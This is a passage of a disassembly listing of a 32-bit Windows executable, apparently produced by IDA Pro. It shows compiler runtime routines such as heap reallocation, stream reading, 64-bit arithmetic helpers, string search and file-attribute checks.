arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_416DAC


loc_416D8A:				; CODE XREF: sub_416D83+27j
		push	[esp+arg_0]
		call	sub_416D08
		test	eax, eax
		pop	ecx
		jnz	short locret_416DAE
		cmp	[esp+arg_4], eax
		jz	short locret_416DAE
		push	[esp+arg_0]
		call	sub_41AD08
		test	eax, eax
		pop	ecx
		jnz	short loc_416D8A


loc_416DAC:				; CODE XREF: sub_416D83+5j
		xor	eax, eax

locret_416DAE:				; CODE XREF: sub_416D83+13j
					; sub_416D83+19j
		retn
sub_416D83	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DAF	proc near		; CODE XREF: sub_4023C0+B1p
					; sub_4023C0+C1p ...

arg_0		= dword	ptr  4

		push	dword_481314
		push	[esp+4+arg_0]
		call	sub_416D83
		pop	ecx
		pop	ecx
		retn
sub_416DAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DC1	proc near		; CODE XREF: sub_416E0D+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_416E04
		push	esi
		call	sub_41AE6C
		push	esi
		mov	edi, eax
		call	sub_41AE41
		push	dword ptr [esi+10h]
		call	sub_41ADA6
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_416DF2
		or	edi, 0FFFFFFFFh
		jmp	short loc_416E04
; ---------------------------------------------------------------------------


loc_416DF2:				; CODE XREF: sub_416DC1+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_416E04
		push	eax
		call	sub_416C97
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_416E04:				; CODE XREF: sub_416DC1+Dj
					; sub_416DC1+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_416DC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E0D	proc near		; CODE XREF: sub_4041CE+74p
					; sub_405DD1+B5p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_42BDF8
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	esi, [ebp+arg_0]
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_416E33
		and	dword ptr [esi+0Ch], 0


loc_416E2A:				; CODE XREF: sub_416E0D+44j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_416E33:				; CODE XREF: sub_416E0D+17j
		push	esi
		call	sub_41B092
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_416DC1
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_416E56
		jmp	short loc_416E2A
sub_416E0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E53	proc near		; DATA XREF: .text:stru_42BDF8o
		mov	esi, [ebp+8]
sub_416E53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416E56	proc near		; CODE XREF: sub_416E0D+3Fp
		push	esi
		call	sub_41B0E4
		pop	ecx
		retn
sub_416E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E5E	proc near		; CODE XREF: sub_416F47+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	ecx, edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416E82
		xor	eax, eax
		jmp	loc_416F2D
; ---------------------------------------------------------------------------


loc_416E82:				; CODE XREF: sub_416E5E+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416E96
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_416EA2
; ---------------------------------------------------------------------------


loc_416E96:				; CODE XREF: sub_416E5E+2Ej
		mov	[ebp+var_4], 1000h
		jmp	short loc_416EA2
; ---------------------------------------------------------------------------


loc_416E9F:				; CODE XREF: sub_416E5E+C5j
		mov	ecx, [ebp+arg_0]


loc_416EA2:				; CODE XREF: sub_416E5E+36j
					; sub_416E5E+3Fj
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416ED4
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416ED4
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416EB9
		mov	edi, eax


loc_416EB9:				; CODE XREF: sub_416E5E+57j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41B490
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_8]
		jmp	short loc_416F1F
; ---------------------------------------------------------------------------


loc_416ED4:				; CODE XREF: sub_416E5E+4Aj
					; sub_416E5E+51j
		cmp	ecx, [ebp+var_4]
		jb	short loc_416F07
		cmp	[ebp+var_4], 0
		mov	eax, ecx
		jz	short loc_416EEA
		xor	edx, edx
		div	[ebp+var_4]
		mov	eax, ecx
		sub	eax, edx


loc_416EEA:				; CODE XREF: sub_416E5E+81j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B3E4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416F31
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416F41
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416F1F
; ---------------------------------------------------------------------------


loc_416F07:				; CODE XREF: sub_416E5E+79j
		push	esi
		call	sub_41B136
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416F35
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+var_4], eax


loc_416F1F:				; CODE XREF: sub_416E5E+74j
					; sub_416E5E+A7j
		cmp	[ebp+arg_0], 0
		jnz	loc_416E9F
		mov	eax, [ebp+arg_8]


loc_416F2C:				; CODE XREF: sub_416E5E+E1j
		pop	esi


loc_416F2D:				; CODE XREF: sub_416E5E+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416F31:				; CODE XREF: sub_416E5E+9Bj
		or	dword ptr [esi+0Ch], 10h


loc_416F35:				; CODE XREF: sub_416E5E+B3j
					; sub_416E5E+E7j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_416F2C
; ---------------------------------------------------------------------------


loc_416F41:				; CODE XREF: sub_416E5E+A0j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_416F35
sub_416E5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F47	proc near		; CODE XREF: sub_4041CE+47p
					; sub_4131EE+2F2p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset stru_42BE08
		call	__SEH_prolog
		push	[ebp+arg_C]
		call	sub_41B092
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416E5E
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_416F89
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_416F47	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F89	proc near		; CODE XREF: sub_416F47+34p
					; DATA XREF: .text:stru_42BE08o
		push	dword ptr [ebp+14h]
		call	sub_41B0E4
		pop	ecx
		retn
sub_416F89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F93	proc near		; CODE XREF: sub_41D4FC+34p
					; sub_41D4FC+49p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00417104 SIZE 0000003C BYTES

		push	14h
		push	offset stru_42BE18
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_416FB6
		push	[ebp+arg_4]
		call	sub_416DAF
		pop	ecx
		jmp	loc_41713A
; ---------------------------------------------------------------------------


loc_416FB6:				; CODE XREF: sub_416F93+13j
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_416FC9
		push	edi
		call	sub_416C97
		pop	ecx
		jmp	loc_417138
; ---------------------------------------------------------------------------


loc_416FC9:				; CODE XREF: sub_416F93+28j
		cmp	dword_482964, 3
		jnz	loc_417104


loc_416FD6:				; CODE XREF: sub_416F93+158j
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_4170D3
		push	4
		call	sub_41A166
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	edi
		call	sub_41A1DF
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	loc_4170A3
		cmp	esi, dword_482950
		ja	short loc_417053
		push	esi
		push	edi
		push	eax
		call	sub_41A6DF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41701B
		mov	[ebp+var_1C], edi
		jmp	short loc_417053
; ---------------------------------------------------------------------------


loc_41701B:				; CODE XREF: sub_416F93+81j
		push	esi
		call	sub_41A9BE
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_417053
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_417036
		mov	eax, esi


loc_417036:				; CODE XREF: sub_416F93+9Fj
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_41B490
		push	edi
		call	sub_41A1DF
		mov	[ebp+var_20], eax
		push	edi
		push	eax
		call	sub_41A20A
		add	esp, 18h


loc_417053:				; CODE XREF: sub_416F93+72j
					; sub_416F93+86j ...
		cmp	[ebp+var_1C], ebx
		jnz	short loc_4170A3
		cmp	esi, ebx
		jnz	short loc_417062
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_417062:				; CODE XREF: sub_416F93+C7j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	dword_482960
		call	dword_42205C	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_4170A3
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_41708D
		mov	eax, esi


loc_41708D:				; CODE XREF: sub_416F93+F6j
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_41B490
		push	edi
		push	[ebp+var_20]
		call	sub_41A20A
		add	esp, 14h


loc_4170A3:				; CODE XREF: sub_416F93+66j
					; sub_416F93+C3j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4170FB
		cmp	[ebp+var_20], ebx
		jnz	short loc_4170D3
		cmp	esi, ebx
		jnz	short loc_4170B8
		xor	esi, esi
		inc	esi


loc_4170B8:				; CODE XREF: sub_416F93+120j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	ebx
		push	dword_482960
		call	dword_42215C	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax


loc_4170D3:				; CODE XREF: sub_416F93+49j
					; sub_416F93+11Cj
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jnz	short loc_41713A
		cmp	dword_481314, ebx
		jz	short loc_41713A
		push	esi
		call	sub_41AD08
		pop	ecx
		test	eax, eax
		jnz	loc_416FD6
		jmp	short loc_417138
sub_416F93	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170F3	proc near		; DATA XREF: .text:stru_42BE18o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_4170F3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170FB	proc near		; CODE XREF: sub_416F93+114p
		push	4
		call	sub_41A0D2
		pop	ecx
		retn
sub_4170FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416F93


loc_417104:				; CODE XREF: sub_416F93+3Dj
					; sub_416F93+1A3j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_417121
		cmp	esi, ebx
		jnz	short loc_417112
		xor	esi, esi
		inc	esi


loc_417112:				; CODE XREF: sub_416F93+17Aj
		push	esi
		push	edi
		push	ebx
		push	dword_482960
		call	dword_42215C	; RtlReAllocateHeap


loc_417121:				; CODE XREF: sub_416F93+176j
		cmp	eax, ebx
		jnz	short loc_41713A
		cmp	dword_481314, ebx
		jz	short loc_41713A
		push	esi
		call	sub_41AD08
		pop	ecx
		test	eax, eax
		jnz	short loc_417104


loc_417138:				; CODE XREF: sub_416F93+31j
					; sub_416F93+15Ej
		xor	eax, eax


loc_41713A:				; CODE XREF: sub_416F93+1Ej
					; sub_416F93+145j ...
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_416F93

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417140	proc near		; CODE XREF: sub_41719C+Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset stru_42BE28
		call	__SEH_prolog
		call	sub_41B9BA
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_417167
		call	sub_41B935
		mov	dword ptr [eax], 18h
		xor	eax, eax
		jmp	short loc_41718C
; ---------------------------------------------------------------------------


loc_417167:				; CODE XREF: sub_417140+16j
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B7CD
		add	esp, 10h
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417192
		mov	eax, [ebp+var_20]


loc_41718C:				; CODE XREF: sub_417140+25j
		call	__SEH_epilog
		retn
sub_417140	endp


; =============== S U B	R O U T	I N E =======================================



sub_417192	proc near		; CODE XREF: sub_417140+44p
					; DATA XREF: .text:stru_42BE28o
		push	dword ptr [ebp-1Ch]
		call	sub_41B0E4
		pop	ecx
		retn
sub_417192	endp


; =============== S U B	R O U T	I N E =======================================



sub_41719C	proc near		; CODE XREF: sub_4041CE+2Ap
					; sub_405DD1+78p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417140
		add	esp, 0Ch
		retn
sub_41719C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4171B0	proc near		; CODE XREF: sub_402816+18Dp
					; sub_4125FE+114p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4171C9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4171C9:				; CODE XREF: sub_4171B0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4171B0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4171E5	proc near		; CODE XREF: sub_41721Dp
		mov	eax, offset sub_41BE9E
		mov	off_432A28, eax
		mov	off_432A2C, offset sub_41BB18
		mov	off_432A30, offset sub_41BB7D
		mov	off_432A34, offset sub_41BADC
		mov	off_432A38, offset sub_41BB63
		mov	off_432A3C, eax
		retn
sub_4171E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41721D	proc near		; CODE XREF: sub_41827B+9p
					; DATA XREF: .text:off_432338o
		call	sub_4171E5
		call	sub_41BF41
		mov	dword_48115C, eax
		call	sub_41BEEF
		fnclex
		retn
sub_41721D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417234	proc near		; CODE XREF: sub_403148+8p
					; sub_415E96+FEp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4220A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417254
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		call	sub_41B947
		pop	ecx


loc_417250:				; CODE XREF: sub_417234+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417254:				; CODE XREF: sub_417234+Dj
		test	al, 1
		jz	short loc_417277
		test	[esp+arg_4], 2
		jz	short loc_417277
		call	sub_41B935
		mov	dword ptr [eax], 0Dh
		call	sub_41B93E
		mov	dword ptr [eax], 5
		jmp	short loc_417250
; ---------------------------------------------------------------------------


loc_417277:				; CODE XREF: sub_417234+22j
					; sub_417234+29j
		xor	eax, eax
		retn
sub_417234	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417280	proc near		; CODE XREF: sub_403162+2Ap
					; sub_4189AC+60Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4172B1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_4172F8
; ---------------------------------------------------------------------------


loc_4172B1:				; CODE XREF: sub_417280+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4172BF:				; CODE XREF: sub_417280+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4172BF
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4172ED
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4172ED
		jb	short loc_4172F6
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172F6


loc_4172ED:				; CODE XREF: sub_417280+5Dj
					; sub_417280+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4172F6:				; CODE XREF: sub_417280+65j
					; sub_417280+6Bj
		xor	ebx, ebx


loc_4172F8:				; CODE XREF: sub_417280+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_417280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417320	proc near		; CODE XREF: sub_403266+5Fp
					; sub_403266+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417341
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417341:				; CODE XREF: sub_417320+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41735D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41735D:				; CODE XREF: sub_417320+27j
		or	eax, eax
		jnz	short loc_417379
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4173BA
; ---------------------------------------------------------------------------


loc_417379:				; CODE XREF: sub_417320+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_417387:				; CODE XREF: sub_417320+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_417387
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4173B5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4173B5
		jb	short loc_4173B6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4173B6


loc_4173B5:				; CODE XREF: sub_417320+85j
					; sub_417320+8Bj
		dec	esi


loc_4173B6:				; CODE XREF: sub_417320+8Dj
					; sub_417320+93j
		xor	edx, edx
		mov	eax, esi


loc_4173BA:				; CODE XREF: sub_417320+57j
		dec	edi
		jnz	short loc_4173C4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4173C4:				; CODE XREF: sub_417320+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4173D0	proc near		; CODE XREF: sub_403810+C6p
					; sub_403810+133p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_417450
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41743D


loc_4173E8:				; CODE XREF: sub_4173D0+58j
					; sub_4173D0+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_41740E
		test	al, al
		jz	short loc_417408


loc_4173FB:				; CODE XREF: sub_4173D0+36j
		mov	al, [esi]
		add	esi, 1


loc_417400:				; CODE XREF: sub_4173D0+45j
		cmp	al, dl
		jz	short loc_41740E
		test	al, al
		jnz	short loc_4173FB


loc_417408:				; CODE XREF: sub_4173D0+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41740E:				; CODE XREF: sub_4173D0+25j
					; sub_4173D0+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_417400
		lea	edi, [esi-1]


loc_41741A:				; CODE XREF: sub_4173D0+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_417449
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4173E8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_417449
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41741A
		jmp	short loc_4173E8
; ---------------------------------------------------------------------------


loc_41743D:				; CODE XREF: sub_4173D0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417E16
; ---------------------------------------------------------------------------


loc_417449:				; CODE XREF: sub_4173D0+4Fj
					; sub_4173D0+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417450:				; CODE XREF: sub_4173D0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4173D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417456	proc near		; CODE XREF: sub_403810+BFp
					; sub_403810+12Cp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	18h
		push	offset stru_42BE38
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		call	sub_41915F
		mov	esi, [eax+64h]
		mov	[ebp+var_20], esi
		cmp	esi, off_4323DC
		jz	short loc_417484
		call	sub_419F8E
		mov	esi, eax
		mov	[ebp+var_20], esi


loc_417484:				; CODE XREF: sub_417456+22j
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jnz	short loc_4174B3
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	loc_417561


loc_417498:				; CODE XREF: sub_417456+56j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_4174A9
		cmp	cl, 7Ah
		jg	short loc_4174A9
		sub	cl, 20h
		mov	[edx], cl


loc_4174A9:				; CODE XREF: sub_417456+47j
					; sub_417456+4Cj
		inc	edx
		cmp	[edx], bl
		jnz	short loc_417498
		jmp	loc_417561
; ---------------------------------------------------------------------------


loc_4174B3:				; CODE XREF: sub_417456+33j
		push	1
		push	dword ptr [esi+4]
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	200h
		push	eax
		call	sub_41C139
		add	esp, 20h
		mov	[ebp+var_24], eax
		cmp	eax, ebx
		jz	loc_41755E
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41750B
; ---------------------------------------------------------------------------


loc_4174F4:				; DATA XREF: .text:stru_42BE38o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4174F8:				; DATA XREF: .text:stru_42BE38o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41750B:				; CODE XREF: sub_417456+9Cj
		cmp	edi, ebx
		jnz	short loc_417525
		push	[ebp+var_24]
		call	sub_416DAF
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_1C], 1
		cmp	edi, ebx
		jz	short loc_417552


loc_417525:				; CODE XREF: sub_417456+B7j
		push	1
		push	dword ptr [esi+4]
		push	[ebp+var_24]
		push	edi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	200h
		push	dword ptr [esi+14h]
		call	sub_41C139
		add	esp, 20h
		test	eax, eax
		jz	short loc_417552
		push	edi
		push	[ebp+arg_0]
		call	sub_41BF70
		pop	ecx
		pop	ecx


loc_417552:				; CODE XREF: sub_417456+CDj
					; sub_417456+EFj
		cmp	[ebp+var_1C], ebx
		jz	short loc_41755E
		push	edi
		call	sub_416C97
		pop	ecx


loc_41755E:				; CODE XREF: sub_417456+7Cj
					; sub_417456+FFj
		mov	eax, [ebp+arg_0]


loc_417561:				; CODE XREF: sub_417456+3Cj
					; sub_417456+58j
		lea	esp, [ebp-34h]
		call	__SEH_epilog
		retn
sub_417456	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41756A	proc near		; CODE XREF: sub_417729+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_41915F
		mov	esi, [eax+64h]
		cmp	esi, off_4323DC
		jz	short loc_417588
		call	sub_419F8E
		mov	esi, eax


loc_417588:				; CODE XREF: sub_41756A+15j
		mov	ecx, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	bl, [ecx]
		lea	edi, [ecx+1]


loc_417594:				; CODE XREF: sub_41756A+55j
		cmp	dword ptr [esi+28h], 1
		movzx	eax, bl
		jle	short loc_4175AE
		push	8
		push	eax
		push	esi
		call	sub_419D8B
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		jmp	short loc_4175B8
; ---------------------------------------------------------------------------


loc_4175AE:				; CODE XREF: sub_41756A+31j
		mov	edx, [esi+48h]
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8


loc_4175B8:				; CODE XREF: sub_41756A+42j
		test	eax, eax
